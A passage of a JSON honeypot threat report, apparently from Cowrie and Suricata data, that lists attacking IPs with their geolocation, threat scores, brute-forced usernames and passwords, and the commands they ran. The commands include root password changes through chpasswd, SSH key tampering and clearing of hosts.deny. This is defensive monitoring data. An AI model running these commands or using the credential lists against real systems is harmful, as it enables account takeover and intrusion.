        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 1768,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T14:15:44.854000+00:00",
        "last_seen_30d": "2026-03-18T16:25:18.160000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1245,
        "Suricata": 523
      }
    },
    "103.191.14.210": {
      "attack_count": 924,
      "first_seen": "2026-03-09T18:02:06.446Z",
      "last_seen": "2026-03-27T14:34:04.221Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "acer",
        "clawd",
        "m1",
        "qiyuesuo",
        "stream",
        "superman",
        "tunnel",
        "user3",
        "zw",
        "aa",
        "adv",
        "bench",
        "bftp",
        "cron",
        "endo",
        "ftpsecure",
        "ftptest",
        "ftpuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "password",
        "12345678",
        "!QA2ws#ED",
        "1",
        "1225",
        "123",
        "123123Aa",
        "1234",
        "1234!@#$",
        "1475963",
        "Aa@13579",
        "Abc987654321",
        "Asdf123321",
        "Comtom@2026",
        "M1123!",
        "Password123@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\n3mAeLCsqS5pL\\n3mAeLCsqS5pL\\n\"|passwd",
        "echo \"123456\\nMLKIKMxdWCzH\\nMLKIKMxdWCzH\\n\"|passwd",
        "echo \"Qiyuesuo123\\n87adVYmfF5mD\\n87adVYmfF5mD\\n\"|passwd",
        "echo \"omn\\n9GcHF6vDq4jo\\n9GcHF6vDq4jo\\n\"|passwd",
        "echo \"password\\nvef6xkCuL20x\\nvef6xkCuL20x\\n\"|passwd",
        "echo \"root:jIyZJwpjzvV3\"|chpasswd|bash",
        "echo \"root:qpeGL4J2KAAX\"|chpasswd|bash",
        "echo \"supermanpass\\ny7kytdVJ6xGO\\ny7kytdVJ6xGO\\n\"|passwd",
        "echo \"zw1234\\nh38yOyFQbLOJ\\nh38yOyFQbLOJ\\n\"|passwd",
        "echo -e \"123456\\n3mAeLCsqS5pL\\n3mAeLCsqS5pL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 38513,
      "as_org": "PT Aplikanusa Lintasarta",
      "threat_score": 50.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 1118,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T18:02:06.446000+00:00",
        "last_seen_30d": "2026-03-27T14:35:10.118000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 924,
        "Suricata": 194
      }
    },
    "41.90.100.147": {
      "attack_count": 853,
      "first_seen": "2026-03-03T01:33:28.218Z",
      "last_seen": "2026-03-24T04:20:31.270Z",
      "sessions": 77,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1",
        "drcom",
        "n8n",
        "chat",
        "edward",
        "eva",
        "evertz",
        "fan",
        "james",
        "kim",
        "lek",
        "nexus",
        "panel",
        "root2",
        "satisfactory",
        "sonarr",
        "spawner",
        "sqoop"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "123",
        "1234",
        "12345678",
        "0000",
        "12345",
        "123456",
        "123456A!",
        "123qazQAZ",
        "12QWaszx",
        "1995",
        "1Q2w3e4r5t6y",
        "666888",
        "Aa11111111",
        "Bingo@1993",
        "Comtom@2024",
        "Evertz123",
        "Gfhjkm123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1233218613\\nI2Un0vc3wiik\\nI2Un0vc3wiik\\n\"|passwd",
        "echo \"1233218613\\nVt5P3fSE81XW\\nVt5P3fSE81XW\\n\"|passwd",
        "echo \"1234\\nIUiYBiCbWI1T\\nIUiYBiCbWI1T\\n\"|passwd",
        "echo \"n8n\\nTB738Hhutpvr\\nTB738Hhutpvr\\n\"|passwd",
        "echo \"root:3E6xeTiEckKA\"|chpasswd|bash",
        "echo \"root:UOcuIC7yEaDY\"|chpasswd|bash",
        "echo \"root:ij8G4Ho1VALF\"|chpasswd|bash",
        "echo \"root:w8Q1eNLzVw9a\"|chpasswd|bash",
        "echo -e \"1233218613\\nI2Un0vc3wiik\\nI2Un0vc3wiik\"|passwd|bash",
        "echo -e \"1233218613\\nVt5P3fSE81XW\\nVt5P3fSE81XW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 37061,
      "as_org": "Safaricom",
      "threat_score": 46.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 1037,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:33:28.218000+00:00",
        "last_seen_30d": "2026-03-24T04:21:41.291000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 853,
        "Suricata": 184
      }
    },
    "161.132.89.53": {
      "attack_count": 716,
      "first_seen": "2026-03-07T01:00:51.212Z",
      "last_seen": "2026-03-21T12:35:22.176Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "client1",
        "mahdi",
        "pierre",
        "piuser",
        "remoteuser",
        "server2",
        "agent",
        "almacen",
        "alpha",
        "celery",
        "dhkim",
        "host",
        "innova",
        "kafka",
        "kobo",
        "llm",
        "manager",
        "marek"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "123",
        "1234",
        "12345678",
        "password",
        "@qwer2024",
        "@qwer2025",
        "A123456!",
        "ASD123asd",
        "Alpha123!",
        "Client1123!",
        "Dhkim123!",
        "Mo123",
        "Pierre",
        "Server2123!",
        "Test123!!",
        "Yasin123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\n9WAJZFTadkBr\\n9WAJZFTadkBr\\n\"|passwd",
        "echo \"Client1123!\\nxDBRXvZn2YMT\\nxDBRXvZn2YMT\\n\"|passwd",
        "echo \"Pierre\\nyOmIxmnT2zbS\\nyOmIxmnT2zbS\\n\"|passwd",
        "echo \"Server2123!\\nDd1nZ4NgZ5ir\\nDd1nZ4NgZ5ir\\n\"|passwd",
        "echo \"piuser123\\nyStDzDcvIrdT\\nyStDzDcvIrdT\\n\"|passwd",
        "echo \"remoteuser123!\\n6sxK8T6fGVFj\\n6sxK8T6fGVFj\\n\"|passwd",
        "echo \"root:y01acZmbl7EN\"|chpasswd|bash",
        "echo -e \"12345\\n9WAJZFTadkBr\\n9WAJZFTadkBr\"|passwd|bash",
        "echo -e \"Client1123!\\nxDBRXvZn2YMT\\nxDBRXvZn2YMT\"|passwd|bash",
        "echo -e \"Pierre\\nyOmIxmnT2zbS\\nyOmIxmnT2zbS\"|passwd|bash",
        "echo -e \"Server2123!\\nDd1nZ4NgZ5ir\\nDd1nZ4NgZ5ir\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lima",
      "asn": 27843,
      "as_org": "WIN EMPRESAS S.A.C.",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.3,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 857,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T01:00:51.212000+00:00",
        "last_seen_30d": "2026-03-21T12:36:27.561000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 716,
        "Suricata": 141
      }
    },
    "197.227.8.186": {
      "attack_count": 568,
      "first_seen": "2026-03-10T22:24:36.216Z",
      "last_seen": "2026-03-31T05:34:07.061Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ay",
        "clawd",
        "docker",
        "jupyter",
        "michele",
        "Test",
        "builder",
        "chris",
        "developer",
        "diego",
        "fox",
        "llm",
        "mailuser",
        "petr",
        "posiflex",
        "spawner",
        "tigergraph",
        "yzh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "12345678",
        "!qaz@wsx#edc$rfv%tgb",
        "1234",
        "1234@abcD",
        "Aa123456..",
        "Abc@2025",
        "Ay123",
        "Chris123",
        "Ctyun@2021",
        "Mailuser123!",
        "abcd1234.",
        "builder",
        "developer1234",
        "dserver123456",
        "edonguser",
        "jupyterpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\n1KljN0yympHm\\n1KljN0yympHm\\n\"|passwd",
        "echo \"123\\nTbqdtPMEDjAx\\nTbqdtPMEDjAx\\n\"|passwd",
        "echo \"Ay123\\nJzWjVnaMkReL\\nJzWjVnaMkReL\\n\"|passwd",
        "echo \"jupyterpass\\nczupx2KZmobL\\nczupx2KZmobL\\n\"|passwd",
        "echo \"michele\\nEVJZBHVaxqQf\\nEVJZBHVaxqQf\\n\"|passwd",
        "echo \"root:SSnZegeOSRqy\"|chpasswd|bash",
        "echo -e \"12345678\\n1KljN0yympHm\\n1KljN0yympHm\"|passwd|bash",
        "echo -e \"123\\nTbqdtPMEDjAx\\nTbqdtPMEDjAx\"|passwd|bash",
        "echo -e \"Ay123\\nJzWjVnaMkReL\\nJzWjVnaMkReL\"|passwd|bash",
        "echo -e \"jupyterpass\\nczupx2KZmobL\\nczupx2KZmobL\"|passwd|bash",
        "echo -e \"michele\\nEVJZBHVaxqQf\\nEVJZBHVaxqQf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Mauritius",
      "country_code": "MU",
      "city": "Ebene CyberCity",
      "asn": 23889,
      "as_org": "MauritiusTelecom",
      "threat_score": 58.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.2,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 668,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T22:24:36.216000+00:00",
        "last_seen_30d": "2026-03-31T05:35:15.200000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 568,
        "Suricata": 100
      }
    },
    "42.96.43.148": {
      "attack_count": 543,
      "first_seen": "2026-03-06T04:41:05.673Z",
      "last_seen": "2026-03-31T18:24:42.297Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "elasticsearch",
        "fox",
        "nginx",
        "nx",
        "alumno",
        "anders",
        "andy",
        "bert",
        "bot1",
        "devuser",
        "ibrahim",
        "ljj",
        "newuser",
        "ovh",
        "sim",
        "username",
        "vastbase"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "1234",
        "123456aa@",
        "123QWEzxc",
        "2wsx!QAZ",
        "ABCabc2026",
        "Aa666888",
        "Administr@tor2024",
        "Bert123",
        "Cc@123456",
        "LL@123456",
        "Pas$w0rd",
        "Qwerty.123",
        "Server2024@",
        "Zr123456@",
        "anders",
        "asd112233"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"elasticsearch1234\\npWO9KMsQMSMP\\npWO9KMsQMSMP\\n\"|passwd",
        "echo \"foxpass\\nujuD0IX32k0K\\nujuD0IX32k0K\\n\"|passwd",
        "echo \"nxpass\\njsrB5Zmo2sKp\\njsrB5Zmo2sKp\\n\"|passwd",
        "echo \"root:aqLGvRcKl5ik\"|chpasswd|bash",
        "echo \"root:rk6UuDhveROn\"|chpasswd|bash",
        "echo -e \"elasticsearch1234\\npWO9KMsQMSMP\\npWO9KMsQMSMP\"|passwd|bash",
        "echo -e \"foxpass\\nujuD0IX32k0K\\nujuD0IX32k0K\"|passwd|bash",
        "echo -e \"nxpass\\njsrB5Zmo2sKp\\njsrB5Zmo2sKp\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 45903,
      "as_org": "CMC Telecom Infrastructure Company",
      "threat_score": 61.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 28.2,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 664,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T04:41:05.673000+00:00",
        "last_seen_30d": "2026-03-31T18:25:45.744000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 543,
        "Suricata": 121
      }
    },
    "143.202.131.118": {
      "attack_count": 524,
      "first_seen": "2026-03-06T06:50:17.500Z",
      "last_seen": "2026-03-11T14:55:19.525Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "jhpark",
        "mehedi",
        "root",
        "test123",
        "tigergraph",
        "ubuntu",
        "yasin",
        "andre",
        "dbadmin",
        "deployuser",
        "dis",
        "intell",
        "internet",
        "liang",
        "maks",
        "n8n",
        "odm",
        "robot",
        "simeon"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "12345",
        "123",
        "@qwer2025",
        "Dis123",
        "Intell123",
        "Internet123!",
        "Qaz@1234",
        "Wso2123!",
        "dbadmin123!",
        "jhpark123!",
        "n8n",
        "password",
        "robot123!",
        "tigergraphpass",
        "ubuntu123!",
        "yasin123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nyk2MgfldGxJ2\\nyk2MgfldGxJ2\\n\"|passwd",
        "echo \"12345\\nvkosx5w53ytF\\nvkosx5w53ytF\\n\"|passwd",
        "echo \"jhpark123!\\nvoxl1V29iFVQ\\nvoxl1V29iFVQ\\n\"|passwd",
        "echo \"tigergraphpass\\nKOrfewDf7wS7\\nKOrfewDf7wS7\\n\"|passwd",
        "echo \"ubuntu123!\\nVGRM96oDaUbY\\nVGRM96oDaUbY\\n\"|passwd",
        "echo \"yasin123\\nAOXnCiBI2Icb\\nAOXnCiBI2Icb\\n\"|passwd",
        "echo -e \"123456\\nyk2MgfldGxJ2\\nyk2MgfldGxJ2\"|passwd|bash",
        "echo -e \"12345\\nvkosx5w53ytF\\nvkosx5w53ytF\"|passwd|bash",
        "echo -e \"jhpark123!\\nvoxl1V29iFVQ\\nvoxl1V29iFVQ\"|passwd|bash",
        "echo -e \"tigergraphpass\\nKOrfewDf7wS7\\nKOrfewDf7wS7\"|passwd|bash",
        "echo -e \"ubuntu123!\\nVGRM96oDaUbY\\nVGRM96oDaUbY\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Goi\u00e2nia",
      "asn": 262324,
      "as_org": "ALLREDE TELECOM LTDA",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 603,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:50:17.500000+00:00",
        "last_seen_30d": "2026-03-11T14:56:29.692000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 524,
        "Suricata": 79
      }
    },
    "221.161.235.168": {
      "attack_count": 494,
      "first_seen": "2026-03-03T20:42:00.167Z",
      "last_seen": "2026-03-20T11:55:24.337Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "infra",
        "mailuser",
        "sc",
        "vnc",
        "appserver",
        "bin",
        "bryan",
        "choi",
        "david",
        "flutter",
        "francesco",
        "gosha",
        "hadoop",
        "harry",
        "jitendra",
        "juan",
        "pedro",
        "reza"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345678",
        "123",
        "!@#qwe123QWE",
        "!QAZxdr5",
        "111111",
        "12341234",
        "12345",
        "123456",
        "1234@Qwer",
        "Aa123456~",
        "R00t@123",
        "Testing123!",
        "Xwiki123",
        "a1b2c3!",
        "a888888",
        "asdasd123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nJ6iDfgibxXJU\\nJ6iDfgibxXJU\\n\"|passwd",
        "echo \"123\\n6xgsEdgDcQAI\\n6xgsEdgDcQAI\\n\"|passwd",
        "echo \"mailuser123\\nVhuzfGjTA55l\\nVhuzfGjTA55l\\n\"|passwd",
        "echo \"password\\nSR6lrLTNjW8S\\nSR6lrLTNjW8S\\n\"|passwd",
        "echo -e \"12345678\\nJ6iDfgibxXJU\\nJ6iDfgibxXJU\"|passwd|bash",
        "echo -e \"123\\n6xgsEdgDcQAI\\n6xgsEdgDcQAI\"|passwd|bash",
        "echo -e \"mailuser123\\nVhuzfGjTA55l\\nVhuzfGjTA55l\"|passwd|bash",
        "echo -e \"password\\nSR6lrLTNjW8S\\nSR6lrLTNjW8S\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Busan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 612,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:42:00.167000+00:00",
        "last_seen_30d": "2026-03-20T11:56:25.852000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 494,
        "Suricata": 118
      }
    },
    "103.59.94.61": {
      "attack_count": 441,
      "first_seen": "2026-03-07T17:09:25.134Z",
      "last_seen": "2026-03-13T18:27:20.190Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "claude",
        "deploy",
        "gits",
        "kjh",
        "student2",
        "wyy",
        "arm",
        "clawd",
        "colin",
        "devman",
        "ethan",
        "hyun",
        "jan",
        "m",
        "mike",
        "nuc",
        "openvpn",
        "reza"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "1234",
        "12345",
        "123QWEasd",
        "Aa_123456",
        "Arm123!",
        "Dev@123",
        "Mike123",
        "Openvpn123",
        "Passw0rd@123",
        "Qwert12345",
        "User10123!",
        "asdzxc",
        "colin123",
        "gits123",
        "hyun1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nf7oqi83O9VEN\\nf7oqi83O9VEN\\n\"|passwd",
        "echo \"asdzxc\\nLc886DYVkJ3H\\nLc886DYVkJ3H\\n\"|passwd",
        "echo \"gits123\\nZP66BveRPZsq\\nZP66BveRPZsq\\n\"|passwd",
        "echo \"password\\n8vAybf89h2rq\\n8vAybf89h2rq\\n\"|passwd",
        "echo -e \"123456\\nf7oqi83O9VEN\\nf7oqi83O9VEN\"|passwd|bash",
        "echo -e \"asdzxc\\nLc886DYVkJ3H\\nLc886DYVkJ3H\"|passwd|bash",
        "echo -e \"gits123\\nZP66BveRPZsq\\nZP66BveRPZsq\"|passwd|bash",
        "echo -e \"password\\n8vAybf89h2rq\\n8vAybf89h2rq\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.3,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 538,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T17:09:25.134000+00:00",
        "last_seen_30d": "2026-03-13T18:28:22.450000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 441,
        "Suricata": 97
      }
    },
    "171.231.177.243": {
      "attack_count": 432,
      "first_seen": "2026-03-21T11:20:47.317Z",
      "last_seen": "2026-03-21T11:45:32.673Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "user",
        "ftp",
        "ubnt",
        "*****",
        "admian",
        "anton",
        "backup",
        "belkinstyle",
        "bin",
        "brenda",
        "cisco",
        "cpanel",
        "developer",
        "george",
        "geral",
        "guest1",
        "helpdesk"
      ],
